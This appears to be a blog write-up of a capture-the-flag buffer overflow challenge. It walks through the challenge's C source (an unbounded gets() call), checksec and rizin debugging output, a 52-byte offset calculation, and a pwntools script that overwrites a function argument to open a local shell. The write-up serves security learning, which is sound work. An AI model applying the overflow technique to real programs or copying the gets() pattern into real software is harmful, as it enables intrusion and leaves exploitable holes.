This was such as cool challenge to practice reading Assembly!
Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present.
For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).
The approach is based on 3 steps:
- identify the vulnerable function
- identify the buffer
- write the exploit
The code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
It's pretty obvious what we should do:
- function
func
is called with the0xdeadbeef
argument. - if the argument is equal to
0xcafebabe
, it will unlock a shell. Otherwise, it will just tell you "Nah..".
Getting into the code
Let's check the code:
~ checksec bof
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
(checksec
is part of the pwntools suite)
Checking the imports with rz-bin -i bof
gives us this result:
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x000004c0 GLOBAL FUNC gets
2 0x000004d0 GLOBAL FUNC __stack_chk_fail
3 0x000004e0 WEAK FUNC __cxa_finalize
4 0x000004f0 GLOBAL FUNC puts
5 0x00000500 GLOBAL FUNC system
6 0x00000510 WEAK NOTYPE __gmon_start__
7 0x00000520 GLOBAL FUNC __libc_start_main
8 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
So we know already there is the gets
function that is usually the culprit in buffer overflow attacks but that there is also stack_chk_fail
so we cannot smash the stack like we want as it will be blocked by this failsafe.
Let's open that with rizin
: rizin -A bof
(with full analysis) and get all functions:
Then disassemble main()
and func()
:
Nothing really new, let's try to run that binary. Without leaving rizin
, run ood
to relaunch in debug and let's add a break point just at the var = dword [arg_8h] - 0xcafebabe
instruction with db addr
(the address might change on your computer).
Now, run dc
to start the debugging process.
Now let's check the registers with drr
:
So here, eax
has pouet
as a value (what we entered) and esp
points to eax
.
0xcafebabe
will be compared to the argument of the function (0xdeadbeef
) and if it's true, then we'll get the system
call. But it's impossible so far as the argument is already set.
Allowing us to write something is just useful for the exercise not the code itself.
So if we manage to overwrite 0xdeadbeef
and replace it by 0xcafebabe
we'll get access to the system call.
0xdeadbeef
is locate in ebp +8
, let's check that out:
And eax
:
We have now two memory addresses: 0xff8e9c5c
and 0xff8e9c90
that are not too far from each other. To know the distance, let's calculate it:
?w
will show what's in an address. I found some tutorial using?X
but that didn't make sense to me. To see the help of those commands use???
.
So the difference between the two addresses is 52 bytes. That'd be our buffer.
Exploit!
Using pwntools
:
from pwn import *
context.update(arch="i386", os="linux")
e = ELF("./bof")
payload = b"A" * 52 + p32(0xcafebabe, endian="little")
p = e.process(level="error")
p.recvline()
# overflow me:
p.sendline(payload)
p.interactive()
I found a lot of cool new techniques for pwntools here.
And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!
Top comments (0)